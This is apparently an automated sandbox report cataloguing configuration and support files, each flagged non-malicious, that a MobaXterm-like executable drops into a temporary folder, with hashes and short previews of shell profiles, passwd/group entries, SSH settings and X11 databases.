Preview:	[ -e "/bin/busybox.exe" ] && _box="/bin/busybox.exe" \|\| _box="/bin/toybox.exe".._fpac() {. toinst="". MyProg="$1". MyProg="${MyProg/\.exe/}". MyProg="${MyProg##/}". MyProg="${MyProg//+/\\+}". if [ -e "/etc/setup/cmdlist" ]; then. toinst="`$_box grep -E "^${MyProg}: " /etc/setup/cmdlist \| $_box head -1`". toinst="${toinst%%:}". if [ "$toinst" = "" ]; then. toinst="`$_box grep -E " ${MyProg} \| ${MyProg}\$" /etc/setup/cmdlist \| (while read i; do builtin echo -n " ${i%%:}"; done)`". toinst="${toinst:1:3600}". fi. fi. if [ "$toinst" = "" ] && [ "$2" = "" ]; then toinst="$1"; fi. builtin echo "$toinst".}.._tob() {. if [ -e "/bin/$1.exe" ]; then. _p="/bin/$1.exe". shift. if [ "$_p" = "/bin/grep.exe" ]; then. "$_p" --colour "$@". else. "$_p" "$@". fi. elif [ -e "/bin/$1" ]; then. _p="/bin/$1". shift. "$_p" "$@". else. if [ -e "/bin/busybox.exe" ]; then. tbcmd="\n`/bin/busybox.exe --list`\n". if [ "${tbcmd#.$1.

C:\Users\user\AppData\Local\Temp\Mxt242\etc\fstab

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	4.430964318987116
Encrypted:	false
SSDEEP:	6:jpsKEIPl7FdefibL8kpJy2eaIg/dNe8EIPl7FNufibL8kpJy2eaIg/V48EIPl7Ft:laIRAiv1q2eDg/d4IBQiv1q2eDg/VwIJ
MD5:	CD563B9F46EE5A19A549F05791A5DEDB
SHA1:	FA3AA85BC6AEA2AD076B03FF1D926CBE2015B02C
SHA-256:	F0EE5EDD1F53FDAD64458B4DDF83FD0D7C7C1E80732747683871CC91712BEA12
SHA-512:	A96BB15929FD4E907772561B1D8C0EB2A1AC04EFC8A916F8A7E6913929CCE99596C388E89774E16EB2C311B1BCF0FE09085F497DAD7B01EC7896912DFAD3608E
Malicious:	false
Preview:	none /drives cygdrive binary,auto,user,posix=0 0 0.C:/Users/user/AppData/Local/Temp/Mxt242/tmp/HOME_E~1 /home/mobaxterm ntfs binary,auto,user,posix=0 0 0.C:/Users/user/AppData/Local/Temp/Mxt242/tmp/HOME_E~1 /home/user ntfs binary,auto,user,posix=0 0 0.

C:\Users\user\AppData\Local\Temp\Mxt242\etc\group

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	739
Entropy (8bit):	4.8635984749007735
Encrypted:	false
SSDEEP:	12:S+lADIHfcdDISSqiDIPGDI32yeDIUowDImDIH9lCaDI5kqdDIHCIztxDIWGywuTP:S+iDgUdDtxiD1D7yeDHowDJDg9lCaDce
MD5:	1D2739E2ED745E390E70A7346C8B79F5
SHA1:	BE3CD250140580A1E75F97FBB24E8342E9A37C12
SHA-256:	8376A72435DE93E279BC7744057AA9BCA3FDBCD09BD3BD72F26CDB7470299594
SHA-512:	32931718A98845677369C8170E5040A48295BEB373E1F0B119B4DCB0FA320EFF6F64B6A2001492AF6977CE5B4B8920DEB8003DE5F9F293291F624C6B91B4E3C9
Malicious:	false
Preview:	Access Control Assistance Operators:S-1-5-32-579:579:.Administrators:S-1-5-32-544:544:.Backup Operators:S-1-5-32-551:551:.Cryptographic Operators:S-1-5-32-569:569:.Device Owners:S-1-5-32-583:583:.Distributed COM Users:S-1-5-32-562:562:.Event Log Readers:S-1-5-32-573:573:.Guests:S-1-5-32-546:546:.Hyper-V Administrators:S-1-5-32-578:578:.IIS_IUSRS:S-1-5-32-568:568:.Network Configuration Operators:S-1-5-32-556:556:.Performance Log Users:S-1-5-32-559:559:.Performance Monitor Users:S-1-5-32-558:558:.Power Users:S-1-5-32-547:547:.Remote Desktop Users:S-1-5-32-555:555:.Remote Management Users:S-1-5-32-580:580:.Replicator:S-1-5-32-552:552:.System Managed Accounts Group:S-1-5-32-581:581:.Users:S-1-5-32-545:545:.UsersGrp:S-1-5-32-513:513:.

C:\Users\user\AppData\Local\Temp\Mxt242\etc\hosts

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.36067690958766
Encrypted:	false
SSDEEP:	3:wb4uBxmiASEcopcTp0y:wbNBQSExcTr
MD5:	D530F08241C195B35BA830B000FA301E
SHA1:	29A1DC23ECB4D8E8FF6AB9C67D8068F27A3E23DE
SHA-256:	30DBDF365A0FFFFF93F66DE7B8DF5F110F3526A1133670B2716CB562FB64C808
SHA-512:	B62B239C268D655BF84CA955F0C5F6925EB5BF024B734F860EC5168302A380A0DC0C31391946657F2BCE3F9F3F3B92CF918C0B2980783781599FD498A72D651A
Malicious:	false
Preview:	!<symlink>/drives/C/Windows/system32/drivers/etc/hosts...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\init.d\ftp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	28
Entropy (8bit):	4.253434386188784
Encrypted:	false
SSDEEP:	3:wb4uHMLKWGXy4Govn:wbNHMLKhy4Gyn
MD5:	2A2FCE224C91755D043CFD460CB7EBC2
SHA1:	7A8040F83EC551B10E89750C0A679C1F688958A7
SHA-256:	CAABB53C134A5727836D7669AB5063AFAECD37E1225F5F3A6810AEF441BAFF20
SHA-512:	A41315EA95B0A1A497A351B1A5FFC3FB10CA8E18231E0933A315EA953007EA2685DF1C4B59C57120BE65908569A9939CFB699318265BF402AC7A4E0B8DF73CAB
Malicious:	false
Preview:	!<symlink>/bin/scrdaemons...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\init.d\http

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	28
Entropy (8bit):	4.253434386188784
Encrypted:	false
SSDEEP:	3:wb4uHMLKWGXy4Govn:wbNHMLKhy4Gyn
MD5:	2A2FCE224C91755D043CFD460CB7EBC2
SHA1:	7A8040F83EC551B10E89750C0A679C1F688958A7
SHA-256:	CAABB53C134A5727836D7669AB5063AFAECD37E1225F5F3A6810AEF441BAFF20
SHA-512:	A41315EA95B0A1A497A351B1A5FFC3FB10CA8E18231E0933A315EA953007EA2685DF1C4B59C57120BE65908569A9939CFB699318265BF402AC7A4E0B8DF73CAB
Malicious:	false
Preview:	!<symlink>/bin/scrdaemons...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\init.d\nfs

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	28
Entropy (8bit):	4.253434386188784
Encrypted:	false
SSDEEP:	3:wb4uHMLKWGXy4Govn:wbNHMLKhy4Gyn
MD5:	2A2FCE224C91755D043CFD460CB7EBC2
SHA1:	7A8040F83EC551B10E89750C0A679C1F688958A7
SHA-256:	CAABB53C134A5727836D7669AB5063AFAECD37E1225F5F3A6810AEF441BAFF20
SHA-512:	A41315EA95B0A1A497A351B1A5FFC3FB10CA8E18231E0933A315EA953007EA2685DF1C4B59C57120BE65908569A9939CFB699318265BF402AC7A4E0B8DF73CAB
Malicious:	false
Preview:	!<symlink>/bin/scrdaemons...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\init.d\ssh

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	28
Entropy (8bit):	4.253434386188784
Encrypted:	false
SSDEEP:	3:wb4uHMLKWGXy4Govn:wbNHMLKhy4Gyn
MD5:	2A2FCE224C91755D043CFD460CB7EBC2
SHA1:	7A8040F83EC551B10E89750C0A679C1F688958A7
SHA-256:	CAABB53C134A5727836D7669AB5063AFAECD37E1225F5F3A6810AEF441BAFF20
SHA-512:	A41315EA95B0A1A497A351B1A5FFC3FB10CA8E18231E0933A315EA953007EA2685DF1C4B59C57120BE65908569A9939CFB699318265BF402AC7A4E0B8DF73CAB
Malicious:	false
Preview:	!<symlink>/bin/scrdaemons...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\init.d\telnet

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	28
Entropy (8bit):	4.253434386188784
Encrypted:	false
SSDEEP:	3:wb4uHMLKWGXy4Govn:wbNHMLKhy4Gyn
MD5:	2A2FCE224C91755D043CFD460CB7EBC2
SHA1:	7A8040F83EC551B10E89750C0A679C1F688958A7
SHA-256:	CAABB53C134A5727836D7669AB5063AFAECD37E1225F5F3A6810AEF441BAFF20
SHA-512:	A41315EA95B0A1A497A351B1A5FFC3FB10CA8E18231E0933A315EA953007EA2685DF1C4B59C57120BE65908569A9939CFB699318265BF402AC7A4E0B8DF73CAB
Malicious:	false
Preview:	!<symlink>/bin/scrdaemons...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\init.d\tftp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	28
Entropy (8bit):	4.253434386188784
Encrypted:	false
SSDEEP:	3:wb4uHMLKWGXy4Govn:wbNHMLKhy4Gyn
MD5:	2A2FCE224C91755D043CFD460CB7EBC2
SHA1:	7A8040F83EC551B10E89750C0A679C1F688958A7
SHA-256:	CAABB53C134A5727836D7669AB5063AFAECD37E1225F5F3A6810AEF441BAFF20
SHA-512:	A41315EA95B0A1A497A351B1A5FFC3FB10CA8E18231E0933A315EA953007EA2685DF1C4B59C57120BE65908569A9939CFB699318265BF402AC7A4E0B8DF73CAB
Malicious:	false
Preview:	!<symlink>/bin/scrdaemons...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\init.d\vnc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	28
Entropy (8bit):	4.253434386188784
Encrypted:	false
SSDEEP:	3:wb4uHMLKWGXy4Govn:wbNHMLKhy4Gyn
MD5:	2A2FCE224C91755D043CFD460CB7EBC2
SHA1:	7A8040F83EC551B10E89750C0A679C1F688958A7
SHA-256:	CAABB53C134A5727836D7669AB5063AFAECD37E1225F5F3A6810AEF441BAFF20
SHA-512:	A41315EA95B0A1A497A351B1A5FFC3FB10CA8E18231E0933A315EA953007EA2685DF1C4B59C57120BE65908569A9939CFB699318265BF402AC7A4E0B8DF73CAB
Malicious:	false
Preview:	!<symlink>/bin/scrdaemons...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\networks

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.353936064112957
Encrypted:	false
SSDEEP:	3:wb4uBxmiASEcopcTpyry:wbNBQSExcTd
MD5:	8A2F511CC9A61173641FD97B6B6BE497
SHA1:	7693939CCB13D58E02FCF42F2DA2D9DF369DDB43
SHA-256:	0A94656EEF2E1646A2085440F50D5FFD38F8739F768D76D495BC091EF3BE1DB4
SHA-512:	815680A384355EEA31F53A0E2F1104F7A8BC604358CA563D7F27B186FC2F97EB65D4762657D99B31A7EF5EEEBDCCC3D819B282A8B59303BBC07006FE4C7FF24E
Malicious:	false
Preview:	!<symlink>/drives/C/Windows/system32/drivers/etc/networks...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\nsswitch.conf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	96
Entropy (8bit):	4.548366413692903
Encrypted:	false
SSDEEP:	3:S17SDfPpFczcJS55meF4vHS/FKq+8D4:S17SjP4zb5bFiHB
MD5:	5A76145CB2E0BD7CABAC55C6E941F3F7
SHA1:	141A4BB951AC1FD03DFF15540F4252D1B77DFFB8
SHA-256:	C83DC30523FEDB6298ABE4A492EC03CE74B3EDF1679A69F23B6B901620925B1B
SHA-512:	251B34E202BAFC6B6E99A03A0ABB9CA4AD4F6C292C9B6E4A63E940CD698C42699E04B9789E9B43959DF42BA4E602F13B38EFDF7EE3B5736E9AA0F1101F88E445
Malicious:	false
Preview:	# /etc/nsswitch.conf.passwd: files.group: files.db_home: /home/%U.db_shell: /bin/bash.db_gecos:.

C:\Users\user\AppData\Local\Temp\Mxt242\etc\passwd

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	808
Entropy (8bit):	5.229056174301381
Encrypted:	false
SSDEEP:	24:vx0hxSBhXXTMtV3FqSHnKvXJfHU00zHXN3mHgvneWHq:Ch+hHIPFFHKxfHUFHXNWH9WHq
MD5:	E83F2BAAE365D0E4F50E1592B9F76F0D
SHA1:	3B57CC952ED56E4D6D7C4D4DBE18A11D533361FD
SHA-256:	D521040F81CC99EC41048E5EA7FC78368A5669FA785F5A4E886F41EBFD8D3A60
SHA-512:	94A40C3D531B728E8514DD7418D7D365DE579E1AD04CF093EC4E8E5085FCB5F73A012077FC4DB4C5377E74EED569AAA1A509D198B03489D3CFDD0C269C6433EB
Malicious:	false
Preview:	SYSTEM::18:544:,S-1-5-18::.LocalService::19:544:U-NT AUTHORITY\LocalService,S-1-5-19::.NetworkService::20:544:U-NT AUTHORITY\NetworkService,S-1-5-20::.Administrators::544:544:,S-1-5-32-544::.Administrator:unused:500:513:U-367706\Administrator,S-1-5-21-2246122658-3693405117-2476756634-500:/home/mobaxterm:/bin/bash.DefaultAccount:unused:503:513:U-367706\DefaultAccount,S-1-5-21-2246122658-3693405117-2476756634-503:/home/mobaxterm:/bin/bash.Guest:unused:501:513:U-367706\Guest,S-1-5-21-2246122658-3693405117-2476756634-501:/home/mobaxterm:/bin/bash.WDAGUtilityAccount:unused:504:513:U-367706\WDAGUtilityAccount,S-1-5-21-2246122658-3693405117-2476756634-504:/home/mobaxterm:/bin/bash.user:unused:1003:513:U-user-PC\user,S-1-5-21-2246122658-3693405117-2476756634-1003:/home/mobaxterm:/bin/bash.

C:\Users\user\AppData\Local\Temp\Mxt242\etc\profile

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text, with very long lines (330)
Category:	dropped
Size (bytes):	15482
Entropy (8bit):	5.408472352603887
Encrypted:	false
SSDEEP:	192:OylyIZqc9Qho1R9SnIiPWiWTRcX0qh4Uf4jqx7EwsvaezeQYeuu91rdblamJaMFk:Oy30c9HR9SDW9CeGcaezeQYeBY2gyej
MD5:	890F7215AB65830DA4D428056E355D03
SHA1:	8D9269327415D251DEA1117573876EE328FD8505
SHA-256:	56769877CA1B77E5B210821BCF1D8DC193AA02AD470C0B6A33573AF26CB34C14
SHA-512:	D19BAB5BDFE2E1B8AB011C030B14B5E6747E452A5AD56E4C635E4FF43475036CA845F028ECC2389885B7124C33B0D53B9CC003DAB8B868F03671F10952A258DE
Malicious:	false
Preview:	[ "$SHELL" = "/bin/zsh.exe" ] \|\| SHELL="/bin/bash.exe"._tob() {. [ -e "/bin/busybox.exe" ] && /bin/busybox.exe "$@" \|\| /bin/toybox.exe "$@".}.unset MAILCHECK.export EXECIGNORE=".dll".builtin ulimit -c 0.[ -d "/home/mobaxterm/" ] \|\| _tob mkdir -p /home/mobaxterm.[ -d "/home/$USERNAME/" ] \|\| _tob ln -sf /home/mobaxterm "/home/$USERNAME" 2>/dev/null.[ -n "$MOBASTARTUPDIR" ] && cd "${MOBASTARTUPDIR}" 2>/dev/null \|\| cd "/home/mobaxterm" 2>/dev/null..PATH="/usr/bin:/bin:$PATH".HOME="/home/mobaxterm".TEMP="/tmp".TMP="/tmp".export LIBGL_ALWAYS_INDIRECT=1.[ -z "$VERSION" ] && VERSION="24.2".[ -z "$DISPLAY" ] && DISPLAY="127.0.0.1:0".if [ "$SHELL" = "/bin/zsh.exe" ]; then. setopt PROMPT_SUBST. NP=0. if [ "$PROMPT_TYPE" = "rxvt" ]; then. PS1='.%B%F{y}[%D %]%f%b%F{def} %F{m}%~%F{def}.%F{c}[%n.%m]%F{def} > '. elif [ "$PROMPT_TYPE" = "1" ]; then. PS1='.%B%F{y}[%D %*]%f%b%F{def} %F{m}%~%F{def}.%F{c}[%n.%m]%F{def} . '. precmd() {. builtin print -Pn "\e]0;$PWD\a". }. else.

C:\Users\user\AppData\Local\Temp\Mxt242\etc\protocol

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.429040021224234
Encrypted:	false
SSDEEP:	3:wb4uBxmiASEcopcTpLdJ8:wbNBQSExcT18
MD5:	585EACD0B573B216697F9BC03628211E
SHA1:	087E256E33A00E4177F86A3767CC60F8F537549B
SHA-256:	61534F6F2AD41E12438D95A09D491F3054EFCA119A7B4C978DCC976C998FCFC9
SHA-512:	FC1BF8AF6856FFA52D392E2867E153E42FD357C3FD8F6031A8718724BAB118B0065E6BFAA5578167137F73A6641E0D18780A47CCF98E177D4B9F25B281A9928B
Malicious:	false
Preview:	!<symlink>/drives/C/Windows/system32/drivers/etc/protocol...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\services

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.268879346650286
Encrypted:	false
SSDEEP:	3:wb4uBxmiASEcopcTpwGJyn:wbNBQSExcTiGYn
MD5:	DDDA10EF65B2681277F73FDFDA58D08E
SHA1:	89A4CBA3DED90896FEF2A089A2B2DFB712D1AA5B
SHA-256:	0AF9DD2A642ED44DBF913D58C07DBDA12705540CB7DC2D4B4B9E7CE276D5648A
SHA-512:	C35017BF4B7D14053457CF91261252B5BCDC5970771F835B598BD1687EAF2E08C4BC758660C40A7B33436E6C873A7D432D81055BF975961A70195C66E172475D
Malicious:	false
Preview:	!<symlink>/drives/C/Windows/system32/drivers/etc/services...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\ssh_config

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.73802215225827
Encrypted:	false
SSDEEP:	6:b+GbK5QES3TAj+RSKXUWU3XR3+IXRyuSKWvcAsvygiZx0:b+L5QzTXJWjoXv5UiP0
MD5:	24A447C9B174C73101F2062C4825A51E
SHA1:	D875A355654F37D8F6EFDC9C564A0E7EE17E3EAB
SHA-256:	DBB29069BC2F53CF9919E232A524B31496EB4BB405D08BFF3D0FE5ABC4328A43
SHA-512:	BA406AABF767DF5457FF3773984535B1C6E34B63BB6E1A349609103D38E684E155F0243D2D2F4808D1B6B92AE9B980B9EB57FA6D6323D4A068CC42F7E256B31D
Malicious:	false
Preview:	User "user".ForwardAgent no.Compression yes.PreferredAuthentications hostbased,publickey,password,keyboard-interactive.ForwardX11 yes.ForwardX11Trusted yes.NoHostAuthenticationForLocalhost yes.StrictHostKeyChecking no.CheckHostIP no.UseRoaming no.

C:\Users\user\AppData\Local\Temp\Mxt242\media

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.1219280948873624
Encrypted:	false
SSDEEP:	3:wb4uBfn:wbNBf
MD5:	2064A8DFFC77A2130D9F64018604769E
SHA1:	D500AE449C156BF0FA0704597A20D9D225C0FF64
SHA-256:	D7F3656E9078257BD9B7558EE2D01E94D3C30B81F035FA3417B745139C9ECCB8
SHA-512:	6DDAD200B271ADF4363AED239F40A85371251697B7DF2F32287A5F284F40CF25DC9156666687EA7F6D30BA5CCC8E277472DAFEFD739D0C44A7EA723786396648
Malicious:	false
Preview:	!<symlink>/drives...

C:\Users\user\AppData\Local\Temp\Mxt242\mnt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.1219280948873624
Encrypted:	false
SSDEEP:	3:wb4uBfn:wbNBf
MD5:	2064A8DFFC77A2130D9F64018604769E
SHA1:	D500AE449C156BF0FA0704597A20D9D225C0FF64
SHA-256:	D7F3656E9078257BD9B7558EE2D01E94D3C30B81F035FA3417B745139C9ECCB8
SHA-512:	6DDAD200B271ADF4363AED239F40A85371251697B7DF2F32287A5F284F40CF25DC9156666687EA7F6D30BA5CCC8E277472DAFEFD739D0C44A7EA723786396648
Malicious:	false
Preview:	!<symlink>/drives...

C:\Users\user\AppData\Local\Temp\Mxt242\registry

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	27
Entropy (8bit):	4.2824842613426
Encrypted:	false
SSDEEP:	3:wb4uVrCXv:wbNVa
MD5:	12DCC755A41FFE9983DFC47E545B132D
SHA1:	37A32E2033A409A4F1A3A2D3443131B848FA7C73
SHA-256:	8D7D8B8FDEC94104B0EE6A90665106B02A8ECC705EAF33DAA91FC83AEDD7CF18
SHA-512:	C2E2FCC84BBA1F0A38C28330130D2C1C6DE2CC254C083CA6311286E7D14186D8FA73825F3E420E019F43DE4EA608FC6358A984F7CF8777DA2DAAF88BA5911DD0
Malicious:	false
Preview:	!<symlink>/proc/registry...

C:\Users\user\AppData\Local\Temp\Mxt242\tmp\home_user\Desktop

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.243260804109598
Encrypted:	false
SSDEEP:	3:wb4uBxmpALPEhAJzlovn:wbNBZL8Uovn
MD5:	0DB135FA1D9DAD9C050618E96ABD07E8
SHA1:	1942A26D9B5C99E308B46F48A41745B862B1E3BE
SHA-256:	6DF095D614ECCA941B1C023FB35261BFF06CFA166EDABF8B6198C50DA2B0509A
SHA-512:	122B487485756EB1FFD3A746669E66BC6FF872F5A6BB94453A201DEB7C13F163596D4B641BA24F727D63BB66A29536305A04F71EEC93D072101472F5C840BB9B
Malicious:	false
Preview:	!<symlink>/drives/C/Users/user/Desktop/...

C:\Users\user\AppData\Local\Temp\Mxt242\tmp\home_user\LauncherFolder

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.243260804109598
Encrypted:	false
SSDEEP:	3:wb4uBxmpALPEhAJzlovn:wbNBZL8Uovn
MD5:	0DB135FA1D9DAD9C050618E96ABD07E8
SHA1:	1942A26D9B5C99E308B46F48A41745B862B1E3BE
SHA-256:	6DF095D614ECCA941B1C023FB35261BFF06CFA166EDABF8B6198C50DA2B0509A
SHA-512:	122B487485756EB1FFD3A746669E66BC6FF872F5A6BB94453A201DEB7C13F163596D4B641BA24F727D63BB66A29536305A04F71EEC93D072101472F5C840BB9B
Malicious:	false
Preview:	!<symlink>/drives/C/Users/user/Desktop/...

C:\Users\user\AppData\Local\Temp\Mxt242\tmp\home_user\MyDocuments

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.418757405182868
Encrypted:	false
SSDEEP:	3:wb4uBxmpALPEhqd/8:wbNBZL8yk
MD5:	99B4BBD72B16B842F2C974C5DB1A2824
SHA1:	679EB9C3F4423D21D2B4B7A91F857A0980F24FC0
SHA-256:	AF547703690240821C45962E6826BF09B562F3E49DB80CBCF3159EF8ADFD8792
SHA-512:	FD37DA3B0CA8B7BB3A5F2E63D42D3C139A956381FD80B598D73EE7BA68944440EC1ABD0CCC9097E50228B150C256E97EF712A15B03635BF67C043940CFB3E74E
Malicious:	false
Preview:	!<symlink>/drives/C/Users/user/DOCUME~1/...

C:\Users\user\AppData\Local\Temp\Mxt242\tmp\home_user\README.txt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	394
Entropy (8bit):	4.529593138223109
Encrypted:	false
SSDEEP:	12:9vigthuBMqQtlLuycIon+rhjMQMeQ+onA0y3AjQ5SwsF+tdFYue3:9hthuBMnrcdnuMEQvno15SwsF+vWua
MD5:	732DFED0844542EE1290B22415F2B8F3
SHA1:	6DB086C81B5D0ABBA52D3400B0225CE66B29B0EA
SHA-256:	E9383C3D714D75D615EA33C3B8095770F1DDDB408E175E604DE38E9673AC4100
SHA-512:	6EFE87F4A3E82587A31076C5B5E6CED9E1C6D8C4C29E9DDE1B8F936776E6FF3C7D4172DB95F3BFDDCF058A0C28A4A43CCF11114A031762CE4BCFDAE8BBC9147A
Malicious:	false
Preview:	.WARNING:..You should not store anything in MobaXterm HOME directory (/home/mobaxterm): with your current settings, this folder is not "persistent", so it will be cleared at each MobaXterm restart...If you want to set a "persistent" HOME directory which will not be cleared at each MobaXterm startup, go to MobaXterm settings window and choose a folder in which to store MobaXterm home files...

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\XErrorDB

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	41481
Entropy (8bit):	5.31576952669458
Encrypted:	false
SSDEEP:	768:rIa22o9Y77ZD+ex7bNYurHShc/ZWWdhwlpqanKKC9y7nCGfQMhdBiiQZ26+Aq1D7:Ea22o9Y77ZD+wnNYurHShc/ZWWdhwlpt
MD5:	326B99AE864C3F8AD09C9AA9E3ED209C
SHA1:	FF217B8135C93D76A5D6FEA8B48F6F42EB6D963B
SHA-256:	6A7422B42EB4566FE40AF67DEF1EADABD74438C18680373F76C0DFE198994106
SHA-512:	0D682172D7AD729CE41777051BC7B50EFAF579D88F5A1BA2C18B2A9632B262EFBAAB0DA4A36E8FF9E6FA62F9E6C0BDE64C365CBA0167DAC4D12097B06437BB60
Malicious:	false
Preview:	! $Xorg: XErrorDB,v 1.3 2000/08/17 19:44:59 cpqbld Exp $.! $XdotOrg: lib/X11/src/XErrorDB,v 1.4 2005-10-21 18:44:24 ajax Exp $.!.! Copyright 1993, 1995, 1998 The Open Group..! Permission to use, copy, modify, distribute, and sell this software and its.! documentation for any purpose is hereby granted without fee, provided that.! the above copyright notice appear in all copies and that both that.! copyright notice and this permission notice appear in supporting.! documentation..! .! The above copyright notice and this permission notice shall be.! included in all copies or substantial portions of the Software..! .! THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.! EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.! MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..! IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.! OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.! ARISING FROM, OUT OF OR IN

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\XKeysymDB

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9011
Entropy (8bit):	5.136192789396624
Encrypted:	false
SSDEEP:	192:zO+YPEK/hQEyPoy4jp58rq5eqYNzbSdgKhRWBh3JtT0kSyv:asy8rOYNzePRuJ0na
MD5:	CF92D0BED547B5F2301173295272BC1B
SHA1:	9DF6615F30370B2B069657E56BB6AE82A20D825D
SHA-256:	E73840741194F43ACE019DBA640BCA84AF668F412701B77C2D4E4592A2FF2554
SHA-512:	D38E1B007D7261851B7440751603DBD15BBFE13ABFC28FDD76A09678923A4F21A05AFF777FDA628267C7EBB33527D11BB841C9633BE9027D19D9F75CEF8B7BE3
Malicious:	false
Preview:	! $Xorg: XKeysymDB,v 1.3 2000/08/17 19:45:04 cpqbld Exp $.! Copyright 1993 Massachusetts Institute of Technology.!.! Permission to use, copy, modify, distribute, and sell this software and.! its documentation for any purpose is hereby granted without fee, provided.! that the above copyright notice appear in all copies and that both that.! copyright notice and this permission notice appear in supporting.! documentation, and that the name of M.I.T. not be used in advertising or.! publicity pertaining to distribution of the software without specific,.! written prior permission. M.I.T. makes no representations about the.! suitability of this software for any purpose. It is provided "as is".! without express or implied warranty..!.! $XFree86: xc/lib/X11/XKeysymDB,v 3.16 2003/02/11 02:51:10 dawes Exp $..hpmute_acute..:100000A8.hpmute_grave..:100000A9.hpmute_asciicircum.:100000AA.hpmute_diaeresis.:100000AB.hpmute_asciitilde.:100000AC.hplira...:100000AF.hpguilder..:100000BE.hpYdiaeresis..:10

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\default.xkm

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Compiled XKB Keymap: lsb, version 15
Category:	dropped
Size (bytes):	11024
Entropy (8bit):	4.757819671685395
Encrypted:	false
SSDEEP:	192:JD29sY96vQW5Ff5aSLusnVcqoRceCQ1+JdDx0s2T:JD26vTFfcS62wRKMJ
MD5:	DC7C38FAA9B2FFD642F451957A799997
SHA1:	F1841B83B346A682B57A4B8EE066315E976134DB
SHA-256:	5AF454AF48C65B49998A7D0EBDB051924F819F375B7952DEC7E79872553CD033
SHA-512:	D908598B3744CBBCF184D2A715F5D52B0F2412E563AE7F9AB648953DF2C425D72B74463A2C544BC06517D864BC4976BCFA856324EC51D0F26217A12757D51E47
Malicious:	false
